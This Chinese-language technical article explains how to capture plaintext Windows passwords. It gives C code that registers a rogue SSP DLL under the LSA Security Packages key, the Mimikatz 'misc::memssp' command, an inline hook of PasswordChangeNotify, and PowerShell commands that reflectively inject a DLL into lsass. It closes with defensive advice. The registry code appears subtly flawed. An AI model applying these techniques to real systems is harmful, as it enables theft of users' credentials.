关于抓取明文密码的探究
字数 2127 2025-08-07 08:21:50
Windows 明文密码抓取技术探究
1. 基础知识
1.1 SSP与SSPI
SSP (Security Support Provider) 是Windows操作系统安全机制的提供者,本质上是DLL文件,主要用于Windows操作系统的身份认证功能,包括:
- NTLM
- Kerberos
- Negotiate
- Secure Channel (Schannel)
- Digest
- Credential (CredSSP)
SSPI (Security Support Provider Interface) 是Windows操作系统在执行认证操作时使用的API接口,可以理解为SSP的API接口。
1.2 LSA与相关进程
- lsass.exe 和 winlogon.exe 是管理登录的两个关键进程
- 它们都包含在 LSA (Local Security Authority) 中
- LSA主要负责运行Windows系统安全策略
- SSP在Windows启动后会被加载到lsass.exe进程中
2. SSP DLL注入技术
2.1 技术原理
利用SSP加载机制,有两种主要思路:
- 删除任意SSP DLL以便与lsass进程交互
- 伪造SSP DLL来提取用户登录时的明文密码
2.2 注册表修改方法
关键注册表项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
实现步骤:
- 使用
RegOpenKeyW和RegSetValueExWAPI修改注册表 - 将自定义DLL路径写入Security Packages值
示例代码:
DWORD InjectSSP(LPWSTR filepath) {
HKEY hKey;
LPCWSTR KeyName;
LPCWSTR ValueName;
DWORD dwDisposition;
KeyName = L"SYSTEM\\CurrentControlSet\\Control\\Lsa";
if (ERROR_SUCCESS != ::RegOpenKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) {
printf("[!] The key is not found,the registry entry creation operation is performed\n\n");
if (ERROR_SUCCESS != ::RegCreateKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) {
printf("[!] Create regedit failed, error is:%d\n\n", GetLastError());
return FALSE;
} else {
printf("[*] Create regedit successfully!\n\n");
}
} else {
printf("[*] Find the key successfully!\n\n");
if (ERROR_SUCCESS != ::RegSetValueExW(hKey, L"Security Packages", 0, REG_MULTI_SZ, (BYTE*)filepath, (::lstrlenW(filepath) + ::lstrlenW(filepath)))) {
printf("[!] Create key-value failed, error is:%d\n\n", GetLastError());
return FALSE;
} else {
printf("[*] Create key-value successfully!\n\n");
}
}
}
注意事项:
- 需要管理员权限
- 推荐将DLL放在
C:\Windows\System32目录下 - 成功后会生成
kiwissp.log文件记录凭据(默认路径:C:\Windows\System32\kiwissp.log)
2.3 Mimikatz的memssp方法
命令:
misc::memssp
特点:
- 不需要修改注册表或放置DLL
- 重启后不会持续存在
- 记录文件路径:
C:\Windows\System32\mimilsa.log
3. Hook PasswordChangeNotify技术
3.1 技术原理
密码修改流程:
- 用户输入新密码
- LSA调用
PasswordFilter检查密码复杂性 - 如果符合要求,LSA调用
PasswordChangeNotify同步密码 - 此过程中密码以明文形式传输
关键点:
PasswordChangeNotify函数存在于rassfm.dllrassfm.dll(Remote Access Subauthentication dll)仅存在于Server系统- 通过Inline Hook获取传输中的明文密码
3.2 实现方法
- 使用Inline Hook技术
- 通过jmp指令跳转到自定义处理函数
- 读取密码后还原到原函数继续执行
关键代码分析:
- 创建vector容器
- 修改硬编码指向
PasswordChangeNotifyHook函数 - 保存寄存器值(rbx, rbp, rsi)
- 写入字节码并还原被覆盖的指令
- 跳转回原函数
密码记录:
- 成功获取密码后,在
C:\windows\temp目录下创建passwords.txt
3.3 注入方法
挑战:
- 常规注入方法无法注入系统进程
- 需要使用Session 0注入技术
推荐方法:
使用PowerShell反射加载DLL到lsass进程
步骤:
- 修改PowerShell执行策略:
Set-ExecutionPolicy bypass - 导入反射加载模块:
Import-Module .\Invoke-ReflectivePEInjection.ps1 - 注入DLL:
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
验证:
修改密码后,检查C:\windows\temp\passwords.txt文件
4. 技术对比
| 方法 | 持久性 | 隐蔽性 | 复杂度 | 适用系统 |
|---|---|---|---|---|
| SSP DLL注册表修改 | 高(重启有效) | 低(需修改注册表) | 中 | 所有Windows |
| Mimikatz memssp | 低(重启失效) | 中 | 低 | 所有Windows |
| Hook PasswordChangeNotify | 中 | 高 | 高 | 仅Server系统 |
5. 防御建议
- 监控注册表修改:特别是
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages - 限制lsass.exe进程访问:防止非授权DLL注入
- 启用LSA保护:使用Windows Defender Credential Guard
- 审计PowerShell使用:监控可疑的反射加载行为
- 定期检查系统目录:查找可疑DLL和日志文件
- 限制管理员权限:减少攻击面
6. 参考资源
- Mimikatz项目
- HookPasswordChange示例代码
- 反射加载PowerShell脚本
- 微软官方SSP文档